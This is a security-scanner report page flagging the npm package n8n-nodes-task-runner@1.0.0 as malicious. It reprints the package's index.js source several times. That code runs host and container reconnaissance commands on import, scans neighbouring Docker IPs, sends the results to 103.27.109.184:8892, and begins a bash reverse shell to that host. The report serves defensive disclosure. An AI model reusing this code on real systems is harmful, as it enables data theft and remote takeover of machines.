Loading npm security reports…

n8n-nodes-task-runner@1.0.0: Malicious npm security report | LPM Firewall

registry / n8n-nodes-task-runner / 1.0.0

n8n-nodes-task-runner@1.0.0

Task runner nodes for n8n automation

AI Security Review

scanned 2h ago · by lpm-firewall-ai

The package main entrypoint performs host and container reconnaissance on import. It filters potentially sensitive environment data, exfiltrates it over raw TCP, then attempts an interactive reverse shell.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Any runtime import or require of the package main entrypoint (`index.js`).

Impact

Remote operator can receive environment and infrastructure data and obtain interactive command execution as the importing process.

Mechanism

Import-time reconnaissance, TCP exfiltration, and Bash reverse shell.

Attack narrative

`package.json` exposes `index.js` as the package main entrypoint. On import, that file executes shell commands to enumerate identity, network configuration, matching environment secrets, processes, mounts, Docker sockets, cron data, and nearby Docker-network services. It sends the results to a hard-coded external IP and separately pipes an interactive Bash process through a TCP socket to the same endpoint.

Rationale

Source inspection confirms concrete import-time exfiltration and a reverse shell to a hard-coded external endpoint. The absence of install hooks does not mitigate the malicious main-entry behavior.

Evidence

package.jsonindex.jsTaskRunnerNode.js/var/run/docker.sock/run/docker.sock/proc/1/cgroup/proc/self/status/etc/crontab/home/node/

Network endpoints1

103.27.109.184:8892

Source & flagged code

4 flagged

index.jsView file

Lines 1-54javascript

1(function(){

2 var net = require('net');

3 var os = require('os');

4 var cp = require('child_process');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

6 function run(cmd) {

7 try { return cp.execSync(cmd, {timeout:5000, encoding:'utf8'}); }

8 catch(e) { return 'ERR: '+e.message; }

9 }

11 var recon = [

12 '=== HOSTNAME ===', run('hostname'),

13 '=== ID ===', run('id'),

14 '=== IP ADDR ===', run('ip addr 2>/dev/null||ifconfig 2>/dev/null'),

15 '=== IP ROUTE ===', run('ip route 2>/dev/null||route -n 2>/dev/null'),

17 '=== LISTENING PORTS ===', run('ss -tlnp 2>/dev/null||netstat -tlnp 2>/dev/null'),

18 '=== DOCKER SOCK ===', run('ls -la /var/run/docker.sock /run/docker.sock 2>&1'),

19 '=== MOUNTS ===', run('mount 2>/dev/null|head -30'),

20 '=== CGROUP ===', run('cat /proc/1/cgroup 2>/dev/null'),

21 '=== CAPS ===', run('cat /proc/self/status 2>/dev/null|grep -i cap'),

22 '=== PS ===', run('ps aux 2>/dev/null'),

23 '=== LS HOME ===', run('ls -la /home/node/ 2>/dev/null'),

24 '=== LS / ===', run('ls -la /'),

25 '=== CRONTAB ===', run('cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null'),

26 '=== FIND N8N FILES ===', run('find / -maxdepth 5 -name "*.js" -path "*n8n*" 2>/dev/null|head -20'),

27 ];

29 // Scan 172.17.0.x for other containers

30 recon.push('=== NET SCAN ===');

31 for (var i = 1; i <= 10; i++) {

32 var ip = '172.17.0.' + i;

33 [80,443,8080,5678].forEach(function(port) {

34 try {

35 var out = cp.execSync('timeout 2 bash -c "echo>/dev/tcp/'+ip+'/'+port+'" 2>&1 && echo OPEN', {timeout:3000, encoding:'utf8'});

36 if (out.indexOf('OPEN')>=0) recon.push(ip+':'+port+' OPEN');

High

Shell

Package source references shell execution.

index.jsView on unpkg · L34

37 } catch(e) {}

38 });

39 }

41 var data = recon.join('\n');

42 try {

43 var sock = new net.Socket();

44 sock.connect(8892, '103.27.109.184', function(){

45 sock.write(data);

46 sock.end();

47 });

48 } catch(e) {}

50 // Reverse shell

51 try {

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

52 var sh = cp.spawn('/bin/bash', ['-i']);

53 var c = new net.Socket();

54 c.connect(8892, '103.27.109.184', function(){

Source & flagged code

4 flagged · loading source

index.jsView file

1(function(){ L2: var net = require('net'); L3: var os = require('os'); L4: var cp = require('child_process'); L5: ... L24: '=== LS / ===', run('ls -la /'), L25: '=== CRONTAB ===', run('cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null'), L26: '=== FIND N8N FILES ===', run('find / -maxdepth 5 -name "*.js" -path "*n8n*" 2>/dev/null|head -20'), ... L44: sock.connect(8892, '103.27.109.184', function(){ L45: sock.write(data); L46: sock.end(); ... L51: try {

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js L1: (function(){ L2: var net = require('net'); L3: var os = require('os'); L4: var cp = require('child_process'); L5: ... L24: '=== LS / ===', run('ls -la /'), L25: '=== CRONTAB ===', run('cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null'), L26: '=== FIND N8N FILES ===', run('find / -maxdepth 5 -name "*.js" -path "*n8n*" 2>/dev/null|head -20'), ... L44: sock.connect(8892, '103.27.109.184', function(){ L45: sock.write(data); L46: sock.end(); ... L51: try {

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

3var os = require('os'); L4: var cp = require('child_process'); L5:

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

34try { L35: var out = cp.execSync('timeout 2 bash -c "echo>/dev/tcp/'+ip+'/'+port+'" 2>&1 && echo OPEN', {timeout:3000, encoding:'utf8'}); L36: if (out.indexOf('OPEN')>=0) recon.push(ip+':'+port+' OPEN');

High

Shell

Package source references shell execution.

index.jsView on unpkg · L34

Source & flagged code

4 flagged

index.jsView file

Lines 1-54javascript

1(function(){

2 var net = require('net');

3 var os = require('os');

4 var cp = require('child_process');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

6 function run(cmd) {

7 try { return cp.execSync(cmd, {timeout:5000, encoding:'utf8'}); }

8 catch(e) { return 'ERR: '+e.message; }

9 }

11 var recon = [

12 '=== HOSTNAME ===', run('hostname'),

13 '=== ID ===', run('id'),

14 '=== IP ADDR ===', run('ip addr 2>/dev/null||ifconfig 2>/dev/null'),

15 '=== IP ROUTE ===', run('ip route 2>/dev/null||route -n 2>/dev/null'),

17 '=== LISTENING PORTS ===', run('ss -tlnp 2>/dev/null||netstat -tlnp 2>/dev/null'),

18 '=== DOCKER SOCK ===', run('ls -la /var/run/docker.sock /run/docker.sock 2>&1'),

19 '=== MOUNTS ===', run('mount 2>/dev/null|head -30'),

20 '=== CGROUP ===', run('cat /proc/1/cgroup 2>/dev/null'),

21 '=== CAPS ===', run('cat /proc/self/status 2>/dev/null|grep -i cap'),

22 '=== PS ===', run('ps aux 2>/dev/null'),

23 '=== LS HOME ===', run('ls -la /home/node/ 2>/dev/null'),

24 '=== LS / ===', run('ls -la /'),

25 '=== CRONTAB ===', run('cat /etc/crontab 2>/dev/null; crontab -l 2>/dev/null'),

26 '=== FIND N8N FILES ===', run('find / -maxdepth 5 -name "*.js" -path "*n8n*" 2>/dev/null|head -20'),

27 ];

29 // Scan 172.17.0.x for other containers

30 recon.push('=== NET SCAN ===');

31 for (var i = 1; i <= 10; i++) {

32 var ip = '172.17.0.' + i;

33 [80,443,8080,5678].forEach(function(port) {

34 try {

35 var out = cp.execSync('timeout 2 bash -c "echo>/dev/tcp/'+ip+'/'+port+'" 2>&1 && echo OPEN', {timeout:3000, encoding:'utf8'});

36 if (out.indexOf('OPEN')>=0) recon.push(ip+':'+port+' OPEN');

High

Shell

Package source references shell execution.

index.jsView on unpkg · L34

37 } catch(e) {}

38 });

39 }

41 var data = recon.join('\n');

42 try {

43 var sock = new net.Socket();

44 sock.connect(8892, '103.27.109.184', function(){

45 sock.write(data);

46 sock.end();

47 });

48 } catch(e) {}

50 // Reverse shell

51 try {

Critical

Reverse Shell

Source matches reverse-shell style process and socket wiring.

index.jsView on unpkg · L1

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L1

52 var sh = cp.spawn('/bin/bash', ['-i']);

53 var c = new net.Socket();

54 c.connect(8892, '103.27.109.184', function(){

n8n-nodes-task-runner@1.0.0

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code